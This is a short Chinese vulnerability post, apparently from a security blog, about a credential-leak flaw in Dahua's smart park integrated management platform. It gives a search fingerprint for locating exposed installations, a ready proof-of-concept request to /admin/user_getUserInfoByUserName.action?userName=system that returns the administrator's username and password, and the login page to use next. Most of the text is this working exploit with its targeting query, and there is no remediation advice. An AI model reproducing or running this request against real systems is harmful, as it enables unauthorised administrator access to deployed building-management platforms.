Dahuatech 智慧园区综合管理平台 user_getUserInfoByUserName.action 中存在API接口,导致管理园账号密码泄漏
智慧园区综合管理平台
app="Dahuatech-智慧园区综合管理平台"
请求POC
/admin/user_getUserInfoByUserName.action?userName=system
获取后访问地址
/admin/login_login.action
456 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!